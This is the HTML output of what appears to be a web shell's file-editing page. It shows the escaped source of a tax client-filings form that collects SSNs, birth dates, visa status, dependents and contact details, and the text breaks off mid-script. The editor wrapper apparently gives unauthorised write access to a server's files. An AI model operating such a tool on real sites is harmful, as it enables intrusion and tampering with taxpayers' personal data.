

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: client_filings_form.php</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>&lt;?php
$success = isset($_GET[&#039;ok&#039;]) &amp;&amp; $_GET[&#039;ok&#039;] == 1;
$error   = isset($_GET[&#039;err&#039;]) ? urldecode($_GET[&#039;err&#039;]) : &quot;&quot;;
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
  &lt;meta charset=&quot;UTF-8&quot; /&gt;
  &lt;title&gt;Client Filings Form&lt;/title&gt;
  &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot; /&gt;
  &lt;style&gt;
    :root {
      --app-bg: #e9edf3;
      --card-bg: #ffffff;
      --field-bg: #f5f6fa;
      --ink: #0f172a;
      --muted: #6b7280;
      --accent: #f97316;
      --accent-soft: rgba(249,115,22,.12);
      --accent-overlay: #fff4eb;
      --border: #d1d5db;
      --radius: .75rem;
      --field-h: 2.65rem;
    }
    * { box-sizing: border-box; }
    body {
      margin: 0;
      background: var(--app-bg);
      font-family: -apple-system,BlinkMacSystemFont,&quot;Segoe UI&quot;,sans-serif;
      color: var(--ink);
    }
    .page {
      max-width: 1180px;
      margin: 1.5rem auto 3.5rem;
      padding: 0 1rem;
    }
    .card {
      background: var(--card-bg);
      border-radius: 1.3rem;
      box-shadow: 0 16px 45px rgba(15,23,42,0.04);
      padding: 1.7rem 1.7rem 1.2rem;
    }
    h1 { margin-bottom: .25rem; font-size: 1.8rem; }
    .subtitle { color: var(--muted); margin-bottom: 1.2rem; }

    .progress { display:flex; gap:.6rem; margin-bottom:1.4rem; }
    .progress span { flex:1; height:4px; background:#edf0f4; border-radius:999px; }
    .progress span.active { background:var(--accent); }

    .step { display:none; }
    .step.active { display:block; }

    .step1-grid { display:grid; gap:1rem 1rem; }
    @media (min-width: 950px) {
      .step1-grid { grid-template-columns: repeat(4, minmax(0,1fr)); }
    }
    @media (max-width: 949px) {
      .step1-grid &gt; div { grid-column: 1 / -1; }
    }

    label { display:block; margin-bottom:.32rem; font-weight:500; }

    input, select, textarea {
      width:100%;
      min-height:var(--field-h);
      background:var(--field-bg);
      border:1px solid transparent;
      border-radius:var(--radius);
      padding:.55rem .75rem;
      font-size:.9rem;
      transition:border .15s ease, box-shadow .15s ease, background .15s ease;
    }
    input:focus, select:focus, textarea:focus {
      outline:none;
      border:1px solid rgba(249,115,22,.9);
      background:#fff7f1;
      box-shadow:0 0 0 3px rgba(249,115,22,.12);
    }
    textarea { min-height:90px; resize:vertical; }

    /* regular select (for non-custom ones) */
    select:not(.custom-hidden) {
      appearance:none;
      -webkit-appearance:none;
      -moz-appearance:none;
      background-image:url(&quot;data:image/svg+xml,%3Csvg width=&#039;16&#039; height=&#039;16&#039; viewBox=&#039;0 0 20 20&#039; fill=&#039;none&#039; xmlns=&#039;http://www.w3.org/2000/svg&#039;%3E%3Cpath d=&#039;M5 7L10 12L15 7&#039; stroke=&#039;%236b7280&#039; stroke-width=&#039;1.4&#039; stroke-linecap=&#039;round&#039; stroke-linejoin=&#039;round&#039;/%3E%3C/svg%3E&quot;);
      background-repeat:no-repeat;
      background-position:right .6rem center;
      background-size:16px;
      padding-right:2.1rem;
      cursor:pointer;
    }

    /* date input */
    input.date-picker[readonly] {
      background:var(--field-bg) url(&quot;data:image/svg+xml,%3Csvg width=&#039;20&#039; height=&#039;20&#039; viewBox=&#039;0 0 24 24&#039; fill=&#039;none&#039; stroke=&#039;%236b7280&#039; stroke-width=&#039;1.6&#039; stroke-linecap=&#039;round&#039; stroke-linejoin=&#039;round&#039; xmlns=&#039;http://www.w3.org/2000/svg&#039;%3E%3Crect x=&#039;3&#039; y=&#039;4&#039; width=&#039;18&#039; height=&#039;18&#039; rx=&#039;2&#039; ry=&#039;2&#039;/%3E%3Cline x1=&#039;16&#039; y1=&#039;2&#039; x2=&#039;16&#039; y2=&#039;6&#039;/%3E%3Cline x1=&#039;8&#039; y1=&#039;2&#039; x2=&#039;8&#039; y2=&#039;6&#039;/%3E%3Cline x1=&#039;3&#039; y1=&#039;10&#039; x2=&#039;21&#039; y2=&#039;10&#039;/%3E%3C/svg%3E&quot;) no-repeat right .65rem center;
      background-size:18px;
      padding-right:2.4rem;
      cursor:pointer;
    }

    .grid-two { display:grid; grid-template-columns:repeat(auto-fit,minmax(240px,1fr)); gap:.85rem .7rem; }

    .dependent-row {
      display:flex;
      flex-wrap:wrap;
      gap:.5rem;
      background:#fff7f1;
      border:1px solid rgba(249,115,22,.14);
      border-radius:.65rem;
      padding:.55rem .55rem .55rem .75rem;
      margin-bottom:.55rem;
      position:relative;
    }
    .dependent-row &gt; div { flex:1 1 165px; }
    .dep-delete {
      position:absolute; top:4px; right:4px;
      background:transparent; border:none; color:#ef4444;
      font-size:1.1rem; cursor:pointer;
    }

    .btn-bar { display:flex; gap:.6rem; justify-content:flex-end; margin-top:1.2rem; }
    .btn { border:none; border-radius:.6rem; padding:.55rem 1.4rem; font-weight:600; cursor:pointer; font-size:.9rem; }
    .btn-primary { background:var(--accent); color:#fff; }
    .btn-secondary { background:#fff; border:1px solid #e5e7eb; color:#0f172a; }

    .error-box,.success-box {
      padding:.6rem .75rem;
      border-radius:.6rem;
      margin-bottom:1rem;
      font-size:.85rem;
    }
    .error-box { background:#fee2e2; border:1px solid #fecaca; color:#991b1b; }
    .success-box { background:#dcfce7; border:1px solid #bbf7d0; color:#166534; }

    .hidden-step { display:none !important; }

    /* custom dropdown (orange) */
    .custom-select-wrapper {
      position:relative;
    }
    .custom-select-display {
      background:var(--field-bg);
      border:1px solid transparent;
      border-radius:var(--radius);
      min-height:var(--field-h);
      display:flex;
      align-items:center;
      justify-content:space-between;
      gap:.5rem;
      padding:.55rem .75rem;
      cursor:pointer;
      transition:.15s;
    }
    .custom-select-display:focus-within,
    .custom-select-wrapper.open .custom-select-display {
      border:1px solid rgba(249,115,22,.9);
      background:#fff7f1;
      box-shadow:0 0 0 3px rgba(249,115,22,.12);
    }
    .custom-select-arrow {
      width:16px;
      height:16px;
      background:url(&quot;data:image/svg+xml,%3Csvg width=&#039;16&#039; height=&#039;16&#039; viewBox=&#039;0 0 20 20&#039; fill=&#039;none&#039; xmlns=&#039;http://www.w3.org/2000/svg&#039;%3E%3Cpath d=&#039;M5 7L10 12L15 7&#039; stroke=&#039;%236b7280&#039; stroke-width=&#039;1.4&#039; stroke-linecap=&#039;round&#039; stroke-linejoin=&#039;round&#039;/%3E%3C/svg%3E&quot;) no-repeat center;
      flex:0 0 16px;
    }
    .custom-select-list {
      position:absolute;
      top:100%;
      left:0;
      right:0;
      background:#fff7f1;
      border:1px solid rgba(249,115,22,.25);
      border-radius:.6rem;
      box-shadow:0 12px 35px rgba(249,115,22,.12);
      margin-top:.35rem;
      max-height:230px;
      overflow-y:auto;
      display:none;
      z-index:1000;
    }
    .custom-select-wrapper.open .custom-select-list {
      display:block;
    }
    .custom-select-item {
      padding:.45rem .7rem;
      cursor:pointer;
      font-size:.88rem;
    }
    .custom-select-item:hover,
    .custom-select-item.active {
      background:rgba(249,115,22,.12);
      color:#9a3412;
    }
    select.custom-hidden {
      display:none !important;
      visibility:hidden;
      position:absolute;
      left:-9999px;
    }

    /* orange datepicker overlay */
    .datepicker-overlay {
      position:absolute;
      background:var(--accent-overlay);
      border:1px solid rgba(249,115,22,.35);
      border-radius:.8rem;
      box-shadow:0 16px 45px rgba(249,115,22,.22);
      width:260px;
      padding:.55rem;
      z-index:9999;
    }
    .datepicker-header { display:flex; gap:.35rem; margin-bottom:.5rem; }
    .datepicker-header select {
      flex:1;
      background:#ffe0c9;
      border:1px solid rgba(249,115,22,.17);
      border-radius:.35rem;
      padding:.1rem .2rem;
      font-size:.7rem;
    }
    .datepicker-grid { display:grid; grid-template-columns:repeat(7,1fr); gap:.25rem; }
    .datepicker-weekday { text-align:center; font-size:.7rem; font-weight:600; color:#9a5d38; }
    .datepicker-day button {
      width:100%; border:none; background:transparent;
      padding:.3rem 0; border-radius:.4rem; cursor:pointer; font-weight:500; color:#0f172a;
    }
    .datepicker-day button:hover { background:rgba(249,115,22,.25); color:#fff; }

    /* multi-select */
    .multi-select { position:relative; }
    .multi-select-display {
      display:flex; flex-wrap:wrap; gap:.25rem;
      background:var(--field-bg);
      border:1px solid transparent;
      border-radius:var(--radius);
      padding:.25rem .4rem;
      min-height:var(--field-h);
      align-items:center;
    }
    .multi-select-display:focus-within {
      border:1px solid rgba(249,115,22,.9);
      background:#fff7f1;
      box-shadow:0 0 0 3px rgba(249,115,22,.12);
    }
    .multi-select-display input {
      border:none; outline:none; background:transparent;
      min-width:140px; flex:1 1 140px; height:2rem;
    }
    .multi-select-list {
      position:absolute; top:100%; left:0; right:0;
      background:#fff7f1;
      border:1px solid rgba(249,115,22,.25);
      border-radius:.6rem;
      box-shadow:0 12px 35px rgba(249,115,22,.12);
      max-height:210px;
      overflow-y:auto;
      display:none;
      z-index:50;
    }
    .multi-select-item { padding:.4rem .5rem; cursor:pointer; font-size:.85rem; }
    .multi-select-item:hover { background:rgba(249,115,22,.12); }
    .tag {
      background:rgba(249,115,22,.12);
      color:#9a3412;
      border-radius:999px;
      padding:.2rem .6rem;
      font-size:.7rem;
      display:flex;
      gap:.25rem;
      align-items:center;
    }
    .tag button { background:transparent; border:none; cursor:pointer; color:inherit; font-weight:700; }

    @media (max-width: 768px) {
      .btn-bar { flex-direction:column; }
      .btn-bar .btn { width:100%; }
    }
  &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;page&quot;&gt;
  &lt;div class=&quot;card&quot;&gt;
    &lt;h1&gt;Client Filings Form&lt;/h1&gt;
    &lt;p class=&quot;subtitle&quot;&gt;Tax Year 2025 – Basic Details&lt;/p&gt;

    &lt;?php if ($error): ?&gt;
      &lt;div class=&quot;error-box&quot;&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if ($success): ?&gt;
      &lt;div class=&quot;success-box&quot;&gt;Filing saved successfully.&lt;/div&gt;
    &lt;?php endif; ?&gt;

    &lt;div class=&quot;progress&quot; id=&quot;progressBar&quot;&gt;
      &lt;span class=&quot;active&quot;&gt;&lt;/span&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;span&gt;&lt;/span&gt;
    &lt;/div&gt;

    &lt;form id=&quot;clientForm&quot; method=&quot;post&quot; action=&quot;save_client_filings.php&quot; novalidate&gt;
      &lt;input type=&quot;hidden&quot; name=&quot;tax_year&quot; value=&quot;2024&quot;&gt;

      &lt;!-- STEP 1 --&gt;
      &lt;div class=&quot;step active&quot; data-step=&quot;1&quot;&gt;
        &lt;div class=&quot;step1-grid&quot;&gt;
          &lt;!-- Row 1 --&gt;
          &lt;div&gt;
            &lt;label for=&quot;filing_status&quot;&gt;Filing Status *&lt;/label&gt;
            &lt;select name=&quot;filing_status&quot; id=&quot;filing_status&quot; class=&quot;custom-hidden&quot; data-custom=&quot;true&quot; required&gt;
              &lt;option value=&quot;&quot;&gt;-- Select --&lt;/option&gt;
              &lt;option value=&quot;SINGLE&quot;&gt;Single&lt;/option&gt;
              &lt;option value=&quot;MFJ&quot;&gt;Married Filing Jointly&lt;/option&gt;
              &lt;option value=&quot;MFS&quot;&gt;Married Filing Separate&lt;/option&gt;
              &lt;option value=&quot;HOH&quot;&gt;Head of Household&lt;/option&gt;
              &lt;option value=&quot;QSS&quot;&gt;Qualifying Surviving Spouse&lt;/option&gt;
            &lt;/select&gt;
            &lt;!-- custom dropdown will be injected here --&gt;
          &lt;/div&gt;
          &lt;!-- Row 2 --&gt;
          &lt;div&gt;
            &lt;label&gt;Primary First Name *&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;primary_first_name&quot; required&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;Primary Middle Name&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;primary_middle_name&quot;&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;Primary Last Name *&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;primary_last_name&quot; required&gt;
          &lt;/div&gt;
          &lt;!-- Row 3 --&gt;
          &lt;div&gt;
            &lt;label&gt;Primary SSN / ITIN *&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;primary_ssn_itin&quot; inputmode=&quot;numeric&quot; maxlength=&quot;4&quot; placeholder=&quot;Enter last 4 digits&quot; required&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;Date of Birth *&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;primary_dob&quot; class=&quot;date-picker&quot; readonly placeholder=&quot;MM/DD/YYYY&quot; required&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;Occupation&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;primary_occupation&quot;&gt;
          &lt;/div&gt;
          &lt;!-- Row 4 --&gt;
          &lt;div&gt;
            &lt;label&gt;Visa Status *&lt;/label&gt;
            &lt;select name=&quot;visa_status&quot; id=&quot;visa_status&quot; class=&quot;custom-hidden&quot; data-custom=&quot;true&quot; required&gt;
              &lt;option value=&quot;&quot;&gt;-- Select --&lt;/option&gt;
              &lt;option value=&quot;CITIZEN&quot;&gt;CITIZEN&lt;/option&gt;
              &lt;option value=&quot;GreenCrad&quot;&gt;GreenCrad&lt;/option&gt;
              &lt;option value=&quot;H1&quot;&gt;H1&lt;/option&gt;
              &lt;option value=&quot;L1&quot;&gt;L1&lt;/option&gt;
              &lt;option value=&quot;H4&quot;&gt;H4&lt;/option&gt;
              &lt;option value=&quot;L2&quot;&gt;L2&lt;/option&gt;
              &lt;option value=&quot;F1&quot;&gt;F1&lt;/option&gt;
              &lt;option value=&quot;F2&quot;&gt;F2&lt;/option&gt;
              &lt;option value=&quot;J1&quot;&gt;J1&lt;/option&gt;
              &lt;option value=&quot;J2&quot;&gt;J2&lt;/option&gt;
              &lt;option value=&quot;B1&quot;&gt;B1&lt;/option&gt;
              &lt;option value=&quot;B2&quot;&gt;B2&lt;/option&gt;
              &lt;option value=&quot;TN&quot;&gt;TN&lt;/option&gt;
            &lt;/select&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;Very 1st Port of Entry in USA *&lt;/label&gt;
            &lt;input type=&quot;text&quot; name=&quot;entry_date&quot; id=&quot;entry_date&quot; class=&quot;date-picker&quot; readonly placeholder=&quot;MM/DD/YYYY&quot; required&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;State of Residence in 2025 *&lt;/label&gt;
            &lt;div class=&quot;multi-select&quot; id=&quot;stateSelect&quot;&gt;
              &lt;div class=&quot;multi-select-display&quot; id=&quot;stateDisplay&quot;&gt;
                &lt;input type=&quot;text&quot; id=&quot;stateSearch&quot; placeholder=&quot;Search &amp; select up to 5...&quot; autocomplete=&quot;off&quot;&gt;
              &lt;/div&gt;
              &lt;div class=&quot;multi-select-list&quot; id=&quot;stateList&quot;&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;input type=&quot;hidden&quot; name=&quot;state_res_2025_json&quot; id=&quot;state_res_2025_json&quot;&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;!-- STEP 2 --&gt;
      &lt;div class=&quot;step&quot; data-step=&quot;2&quot; id=&quot;spouseStep&quot;&gt;
        &lt;h2 style=&quot;margin-bottom:.6rem;&quot;&gt;Spouse Details&lt;/h2&gt;
        &lt;div class=&quot;grid-two&quot;&gt;
          &lt;div&gt;&lt;label&gt;Spouse First Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;spouse_first_name&quot;&gt;&lt;/div&gt;
          &lt;div&gt;&lt;label&gt;Spouse Middle Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;spouse_middle_name&quot;&gt;&lt;/div&gt;
          &lt;div&gt;&lt;label&gt;Spouse Last Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;spouse_last_name&quot;&gt;&lt;/div&gt;
          &lt;div&gt;&lt;label&gt;Spouse SSN / ITIN&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;spouse_ssn_itin&quot; inputmode=&quot;numeric&quot;&gt;&lt;/div&gt;
          &lt;div&gt;&lt;label&gt;Spouse Date of Birth&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;spouse_dob&quot; class=&quot;date-picker&quot; readonly placeholder=&quot;MM/DD/YYYY&quot;&gt;&lt;/div&gt;
          &lt;div&gt;&lt;label&gt;Spouse Occupation&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;spouse_occupation&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;!-- STEP 3 --&gt;
      &lt;div class=&quot;step&quot; data-step=&quot;3&quot; id=&quot;depStep&quot;&gt;
        &lt;h2 style=&quot;margin-bottom:.6rem;&quot;&gt;Dependents&lt;/h2&gt;
        &lt;div id=&quot;dependents-wrapper&quot;&gt;
          &lt;div class=&quot;dependent-row&quot;&gt;
            &lt;button type=&quot;button&quot; class=&quot;dep-delete&quot; aria-label=&quot;Remove&quot;&gt;&amp;times;&lt;/button&gt;
            &lt;div&gt;&lt;label&gt;First Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_first_name[]&quot;&gt;&lt;/div&gt;
            &lt;div&gt;&lt;label&gt;Middle Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_middle_name[]&quot;&gt;&lt;/div&gt;
            &lt;div&gt;&lt;label&gt;Last Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_last_name[]&quot;&gt;&lt;/div&gt;
            &lt;div&gt;&lt;label&gt;SSN / ITIN&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_ssn_itin[]&quot; inputmode=&quot;numeric&quot;&gt;&lt;/div&gt;
            &lt;div&gt;&lt;label&gt;Date of Birth&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_dob[]&quot; class=&quot;date-picker&quot; readonly placeholder=&quot;MM/DD/YYYY&quot;&gt;&lt;/div&gt;
            &lt;div&gt;&lt;label&gt;Relationship&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_relationship[]&quot;&gt;&lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
        &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; id=&quot;addDependentBtn&quot; style=&quot;margin-top:.4rem;&quot;&gt;+ Add Dependent&lt;/button&gt;
      &lt;/div&gt;

      &lt;!-- STEP 4 --&gt;
      &lt;div class=&quot;step&quot; data-step=&quot;4&quot;&gt;
        &lt;h2 style=&quot;margin-bottom:.6rem;&quot;&gt;Contact &amp; Address&lt;/h2&gt;
        &lt;div class=&quot;grid-two&quot;&gt;
          &lt;div style=&quot;grid-column:1/-1;&quot;&gt;
            &lt;label&gt;Current Address *&lt;/label&gt;
            &lt;textarea name=&quot;current_address&quot; id=&quot;current_address&quot; required&gt;&lt;/textarea&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;Cell Number *&lt;/label&gt;
            &lt;input type=&quot;tel&quot; name=&quot;cell_number&quot; id=&quot;cell_number&quot; placeholder=&quot;+1 555 555 5555&quot; required&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;Alternative Number&lt;/label&gt;
            &lt;input type=&quot;tel&quot; name=&quot;alt_number&quot; id=&quot;alt_number&quot; placeholder=&quot;+1 555 555 5555&quot;&gt;
          &lt;/div&gt;
          &lt;div&gt;
            &lt;label&gt;Email Address *&lt;/label&gt;
            &lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;email&quot; placeholder=&quot;you@example.com&quot; required&gt;
          &lt;/div&gt;
          &lt;div style=&quot;grid-column:1/-1;&quot;&gt;
            &lt;label&gt;Remarks&lt;/label&gt;
            &lt;textarea name=&quot;remarks&quot; id=&quot;remarks&quot;&gt;&lt;/textarea&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class=&quot;btn-bar&quot;&gt;
        &lt;button type=&quot;button&quot; class=&quot;btn btn-secondary&quot; id=&quot;prevBtn&quot;&gt;Previous&lt;/button&gt;
        &lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; id=&quot;nextBtn&quot;&gt;Next&lt;/button&gt;
        &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot; id=&quot;submitBtn&quot; style=&quot;display:none;&quot;&gt;Submit&lt;/button&gt;
      &lt;/div&gt;
    &lt;/form&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
  const steps = Array.from(document.querySelectorAll(&#039;.step&#039;));
  const progress = Array.from(document.querySelectorAll(&#039;#progressBar span&#039;));
  const prevBtn = document.getElementById(&#039;prevBtn&#039;);
  const nextBtn = document.getElementById(&#039;nextBtn&#039;);
  const submitBtn = document.getElementById(&#039;submitBtn&#039;);
  const filingStatusEl = document.getElementById(&#039;filing_status&#039;);
  const spouseStep = document.getElementById(&#039;spouseStep&#039;);
  const depStep = document.getElementById(&#039;depStep&#039;);
  const form = document.getElementById(&#039;clientForm&#039;);
  let currentStep = 0;

  function visibleSteps() {
    return steps.filter(s =&gt; !s.classList.contains(&#039;hidden-step&#039;));
  }
  function showStep(i) {
    const vs = visibleSteps();
    vs.forEach(s =&gt; s.classList.remove(&#039;active&#039;));
    vs[i].classList.add(&#039;active&#039;);
    progress.forEach(p =&gt; p.classList.remove(&#039;active&#039;));
    for (let k = 0; k &lt;= i; k++) {
      if (progress[k]) progress[k].classList.add(&#039;active&#039;);
    }
    prevBtn.style.display = i === 0 ? &#039;none&#039; : &#039;&#039;;
    if (i === vs.length - 1) {
      nextBtn.style.display = &#039;none&#039;;
      submitBtn.style.display = &#039;&#039;;
    } else {
      nextBtn.style.display = &#039;&#039;;
      submitBtn.style.display = &#039;none&#039;;
    }
    currentStep = i;
  }
  function applyFilingRules() {
    const v = filingStatusEl.value;
    spouseStep.classList.remove(&#039;hidden-step&#039;);
    depStep.classList.remove(&#039;hidden-step&#039;);
    if (v === &#039;SINGLE&#039;) {
      spouseStep.classList.add(&#039;hidden-step&#039;);
      depStep.classList.add(&#039;hidden-step&#039;);
    } else if (v === &#039;HOH&#039;) {
      spouseStep.classList.add(&#039;hidden-step&#039;);
    }
    showStep(0);
  }

  function validEmail(e){return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(e);}
  function validPhone(p){return /^\+?[0-9\s\-()]{7,18}$/.test(p);}
  function validDateUS(d){
    if(!/^(0[1-9]|1[0-2])\/(0[1-9]|[12]\d|3[01])\/\d{4}$/.test(d)) return false;
    const [mm,dd,yyyy]=d.split(&#039;/&#039;).map(n=&gt;parseInt(n,10));
    const dt=new Date(yyyy,mm-1,dd);
    if(dt.getFullYear()!==yyyy||dt.getMonth()!==mm-1||dt.getDate()!==dd) return false;
    if(dt &gt; new Date()) return false;
    return true;
  }
  function validateStep(i) {
    const vs = visibleSteps();
    const step = vs[i];
    const req = step.querySelectorAll(&#039;[required]&#039;);
    for (let el of req) {
      if (!el.value.trim()) { el.focus(); return false; }
    }
    if (step.dataset.step === &#039;1&#039;) {
      const ssn = document.querySelector(&#039;[name=&quot;primary_ssn_itin&quot;]&#039;).value.trim();
      const dob = document.querySelector(&#039;[name=&quot;primary_dob&quot;]&#039;).value.trim();
      const entry = document.querySelector(&#039;[name=&quot;entry_date&quot;]&#039;).value.trim();
      const states = document.getElementById(&#039;state_res_2025_json&#039;).value;
      if (!/^\d{4}$/.test(ssn)) { alert(&quot;Enter last 4 digits for Primary SSN / ITIN.&quot;); return false; }
      if (!validDateUS(dob)) { alert(&quot;Enter valid Date of Birth.&quot;); return false; }
      if (!validDateUS(entry)) { alert(&quot;Enter valid Port of Entry date.&quot;); return false; }
      if (!states || JSON.parse(states).length === 0) { alert(&quot;Select at least 1 state of residence.&quot;); return false; }
    }
    if (step.dataset.step === &#039;4&#039;) {
      const email = document.getElementById(&#039;email&#039;).value.trim();
      const cell  = document.getElementById(&#039;cell_number&#039;).value.trim();
      if (!validEmail(email)) { alert(&quot;Enter a valid email.&quot;); return false; }
      if (!validPhone(cell)) { alert(&quot;Enter a valid cell number.&quot;); return false; }
    }
    return true;
  }

  nextBtn.addEventListener(&#039;click&#039;, () =&gt; {
    if (!validateStep(currentStep)) return;
    const vs = visibleSteps();
    const next = Math.min(currentStep + 1, vs.length - 1);
    showStep(next);
  });
  prevBtn.addEventListener(&#039;click&#039;, () =&gt; {
    const prev = Math.max(currentStep - 1, 0);
    showStep(prev);
  });

  /* datepicker (same as before) */
  let datepickerEl = null;
  let activeInput = null;
  function buildDatepicker() {
    const dp = document.createElement(&#039;div&#039;);
    dp.className = &#039;datepicker-overlay&#039;;
    dp.style.display = &#039;none&#039;;
    dp.innerHTML = `
      &lt;div class=&quot;datepicker-header&quot;&gt;
        &lt;select data-month&gt;&lt;/select&gt;
        &lt;select data-year&gt;&lt;/select&gt;
      &lt;/div&gt;
      &lt;div class=&quot;datepicker-grid&quot; data-grid&gt;&lt;/div&gt;
    `;
    document.body.appendChild(dp);
    return dp;
  }
  function fillMonthYear(dp, year, month) {
    const mSel = dp.querySelector(&#039;[data-month]&#039;);
    const ySel = dp.querySelector(&#039;[data-year]&#039;);
    const names = [&quot;January&quot;,&quot;February&quot;,&quot;March&quot;,&quot;April&quot;,&quot;May&quot;,&quot;June&quot;,&quot;July&quot;,&quot;August&quot;,&quot;September&quot;,&quot;October&quot;,&quot;November&quot;,&quot;December&quot;];
    mSel.innerHTML = names.map((n,i)=&gt;`&lt;option value=&quot;${i}&quot; ${i===month?&#039;selected&#039;:&#039;&#039;}&gt;${n}&lt;/option&gt;`).join(&#039;&#039;);
    const now = new Date().getFullYear();
    let yOpts = &#039;&#039;;
    for (let y = now+1; y &gt;= 1950; y--) {
      yOpts += `&lt;option value=&quot;${y}&quot; ${y===year?&#039;selected&#039;:&#039;&#039;}&gt;${y}&lt;/option&gt;`;
    }
    ySel.innerHTML = yOpts;
  }
  function renderCalendar(dp, year, month) {
    const grid = dp.querySelector(&#039;[data-grid]&#039;);
    grid.innerHTML = &#039;&#039;;
    const days = [&#039;Su&#039;,&#039;Mo&#039;,&#039;Tu&#039;,&#039;We&#039;,&#039;Th&#039;,&#039;Fr&#039;,&#039;Sa&#039;];
    days.forEach(d =&gt; {
      const el = document.createElement(&#039;div&#039;);
      el.className=&#039;datepicker-weekday&#039;;
      el.textContent=d;
      grid.appendChild(el);
    });
    const first = new Date(year,month,1).getDay();
    const total = new Date(year,month+1,0).getDate();
    for (let i=0;i&lt;first;i++) grid.appendChild(document.createElement(&#039;div&#039;));
    for (let d=1; d&lt;=total; d++) {
      const cell=document.createElement(&#039;div&#039;);
      const btn=document.createElement(&#039;button&#039;);
      btn.type=&#039;button&#039;;
      btn.textContent=d;
      btn.onclick=()=&gt;{
        const mm=String(month+1).padStart(2,&#039;0&#039;);
        const dd=String(d).padStart(2,&#039;0&#039;);
        activeInput.value = `${mm}/${dd}/${year}`;
        dp.style.display=&#039;none&#039;;
      };
      cell.appendChild(btn);
      grid.appendChild(cell);
    }
  }
  function showDatepickerFor(input) {
    if (!datepickerEl) datepickerEl = buildDatepicker();
    activeInput = input;
    const now = new Date();
    let year = now.getFullYear();
    let month = now.getMonth();
    if (input.value &amp;&amp; /^\d{2}\/\d{2}\/\d{4}$/.test(input.value)) {
      const [mm,,yyyy] = input.value.split(&#039;/&#039;);
      year = parseInt(yyyy,10);
      month = parseInt(mm,10)-1;
    }
    fillMonthYear(datepickerEl,year,month);
    renderCalendar(datepickerEl,year,month);
    const rect = input.getBoundingClientRect();
    datepickerEl.style.top = (window.scrollY + rect.bottom + 4) + &#039;px&#039;;
    datepickerEl.style.left = (window.scrollX + rect.left) + &#039;px&#039;;
    datepickerEl.style.display = &#039;block&#039;;
    const mSel = datepickerEl.querySelector(&#039;[data-month]&#039;);
    const ySel = datepickerEl.querySelector(&#039;[data-year]&#039;);
    mSel.onchange = () =&gt; renderCalendar(datepickerEl, parseInt(ySel.value,10), parseInt(mSel.value,10));
    ySel.onchange = () =&gt; renderCalendar(datepickerEl, parseInt(ySel.value,10), parseInt(mSel.value,10));
  }
  document.addEventListener(&#039;click&#039;,(e)=&gt;{
    if (datepickerEl &amp;&amp; !datepickerEl.contains(e.target) &amp;&amp; !e.target.classList.contains(&#039;date-picker&#039;)) {
      datepickerEl.style.display=&#039;none&#039;;
    }
  });
  document.querySelectorAll(&#039;.date-picker&#039;).forEach(inp=&gt;{
    inp.addEventListener(&#039;click&#039;,()=&gt;showDatepickerFor(inp));
  });

  // dependents
  const depsWrapper = document.getElementById(&#039;dependents-wrapper&#039;);
  const addDepBtn = document.getElementById(&#039;addDependentBtn&#039;);
  function createDepRow() {
    const row = document.createElement(&#039;div&#039;);
    row.className=&#039;dependent-row&#039;;
    row.innerHTML=`
      &lt;button type=&quot;button&quot; class=&quot;dep-delete&quot; aria-label=&quot;Remove&quot;&gt;&amp;times;&lt;/button&gt;
      &lt;div&gt;&lt;label&gt;First Name&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;dep_first_name[]&quot;&gt;&lt;/div&gt;
